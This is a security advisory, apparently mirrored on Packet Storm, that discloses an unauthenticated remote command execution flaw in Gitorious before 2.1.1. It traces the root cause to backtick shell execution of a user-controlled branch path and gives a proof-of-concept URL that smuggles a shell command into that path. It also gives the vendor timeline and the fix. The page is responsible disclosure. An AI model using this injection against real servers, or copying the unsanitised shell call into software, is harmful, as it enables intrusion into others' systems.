what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Gitorious Remote Command Execution

Gitorious Remote Command Execution
Posted Jan 28, 2012
Authored by joernchen | Site phenoelit.de

Gitorious versions prior to 2.1.1 suffer from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 6eaad22fe33effe3e4d1a3e355ffa9f4cb239465e6efdd17446f0304e8263e07

Gitorious Remote Command Execution

Change Mirror Download
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +--+->

[ Authors ]
joernchen <joernchen () phenoelit de>

Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
Gitorious < 2.1.1 (http://gitorious.org)

[ Vendor communication ]
2012-01-16 Asking vendor for PGP key
2012-01-17 Getting PGP key from vendor
2012-01-17 Sending vulnerability details to vendor
2012-01-19 Vendor replies and sends link to patch [0]
2012-01-19 Asking if users will be informed
2012-01-20 Vendor states that they will create a patch and let the
users know
2012-01-25 Asking for a timeline for the notification
2012-01-26 Vendor replies that patched branch is pushed and users
are informed via a mailinglist.
2012-01-27 Release of this advisory

[ Overview ]
Gitorious is a Git repository management software written in Ruby
on Rails.

[ Description ]
Gitorious has been found vulnerable to unauthenticated remote
command execution.

Root cause is in gitorious-mainline/lib/gitorious/git_shell.rb:

def execute(command)
Timeout.timeout(20) do
`#{command}`
end
rescue Timeout::Error

called by app/controllers/api/graphs_controller.rb:

def graph_log(repo, type, branch = nil)
args = [repo.full_repository_path, "--decorate=full", "-100",
type]
args << desplat_path(branch) if branch
git_shell.send(:graph_log, *args)
end

where branch is user controlled via route:

api.connect ':project_id/:repository_id/log/graph/*branch',
:controller => 'graphs', :action => 'show'

[ Example ]
http://gitorious.site/project/repo/log/graph/`id>/tmp/command_exec`

For convenient use of this feature have a look at [1]

[ Solution ]
Update to version 2.1.1

[ References ]
[0] https://gitorious.org/gitorious/mainline/commit/
647aed91a4dc72e88a27476948dfbacd5d0bf7ce
[1] http://metasploit.com/modules/exploit/multi/http/gitorious_graph

[ end of file ]
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close